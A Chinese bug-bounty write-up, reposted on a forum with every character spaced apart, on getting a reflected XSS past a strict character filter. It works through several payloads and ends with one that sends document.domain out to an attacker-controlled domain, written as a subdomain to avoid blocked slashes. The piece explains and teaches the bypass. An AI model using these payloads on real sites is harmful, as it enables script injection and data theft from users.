搜索

[2189] 2020-10-29_我与xss的有趣故事

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-16
2020-10-29_我与xss的有趣故事 我 与 x s s 的 有 趣 故 事 原 创   H O M E   E D I 安 全   2 0 2 0 - 1 0 - 2 9 P a r t   0 1 最 近 ， 在 一 个 私 人 的 赏 金 计 划 中 ， 我 发 现 了 一 个 有 趣 的 X S S 漏 洞 ， 该 漏 洞 易 受 攻 击 的 e n p o i n t 限 制 了 特 殊 字 符 的 使 用 。 用 户 的 输 入 反 映 在 以 下 内 容 中 ： 当 可 以 使 用 ' 字 符 破 坏 标 签 时 ， 它 看 起 来 像 是 一 个 简 单 的 X S S 漏 洞 。 通 常 ， 以 下 p a y l o a d   ' - a l e r t （ 0 ） - ' 应 该 可 以 工 作 。 P a r t   0 2 我 发 现 大 多 数 特 殊 字 符 都 被 过 滤 掉 了 （ 就 像 插 入 时 从 内 容 中 删 除 一 样 ） 。 经 过 最 少 的 模 糊 处 理 后 ， 以 下 特 殊 字 符 是 唯 一 通 过 此 e n p o i n t 接 受 并 反 映 出 来 的 字 符 ： 我 试 图 通 过 在 J S F i d d l e 上 进 行 实 验 来 确 认 是 否 仍 然 可 行 。 我 注 意 到 ， 当 反 射 点 与 上 述 代 码 相 同 时 ， 我 们 也 可 以 使 用 逗 号 。 即 ' ， a l e r t （ 0 ） ' P a r t   0 3 现 在 ， 它 尚 未 完 成 。 记 住 ， 不 允 许 使 用 括 号 。 因 此 ， 我 试 图 寻 找 很 多 方 法 执 行 警 报 框 ， 因 为 这 是 演 示 X S S 漏 洞 的 简 便 方 法 。 但 是 ， 在 这 种 情 况 下 ， 使 用 允 许 的 特 殊 字 符 似 乎 无 法 实 现 所 有 方 法 。 . l o c a t i o n   =   n a m e 除 外 我 开 始 向 S l a c k 的 人 员 和 我 的 C T F 团 队 征 求 意 见 。 通 过 J S F i d d l e 发 现 ， 以 下 p a y l o a d 似 乎 是 可 能 的 。 ， 。 = ： @ ＃ ？ * ％
还 没 做 完 。 当 我 在 J S F i d d l e 中 进 行 测 试 时 ， 这 是 成 功 的 ， 但 在 易 受 攻 击 的 网 站 上 尝 试 时 却 没 有 。 这 是 因 为 当 它 检 测 到 请 求 是 否 包 含 不 允 许 的 字 符 串 匹 配 （ 例 如 j a v a s c r i p t ： d o c u m e n t 。 * ） 时 ， 它 抛 出 5 0 0 条 错 误 消 息 。 进 一 步 的 测 试 发 现 ， 我 可 以 通 过 w i n d o w . l o c a t i o n   =   h t t p ： / /   u r l 重 定 向 请 求 。 最 开 始 这 是 失 败 的 ， 因 为 / /   不 允 许 使 用 字 符 。 但 是 ， 该 请 求 被 重 定 向 而 不 使 用 斜 杠 。 w i n d o w . l o c a t i o n   =   h t t p ： u r l   是 可 能 的   P a r t   0 5 在 这 一 阶 段 ， 已 经 足 以 证 明 J a v a S c r i p t 的 执 行 。 但 是 ， 从 分 类 器 / 客 户 的 角 度 来 看 ， 这 似 乎 就 像 一 个 开 放 的 重 定 向 漏 洞 。 我 仍 然 需 要 证 明 可 以 将 内 容 泄 露 到 外 部 。 以 下 p a y l o a d 应 基 本 正 常 工 作 。 但 是 它 没 有 工 作 。 因 为 p a y l o a d 再 次 包 含 / 。 在 C T F 成 员 j o h n b u r n 告 诉 我 之 前 ， 只 需 将 我 想 要 的 内 容 解 析 为 子 域 即 可   。 类 似 于 通 过 D N S 过 滤 数 据 。 所 以 最 终 的 p a y l o a d 是 ： E D I 安 全 安 全 ' , w i n d o w . l o c a t i o n = ' h t t p : m y - u r l / ' % 2 b d o c u m e n t . d o m a i n % 2 b , ' ' , w i n d o w . l o c a t i o n = ' h t t p : ' % 2 b d o c u m e n t . d o m a i n % 2 b ' . m y - b u r p - d o m a i n ' , '
一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理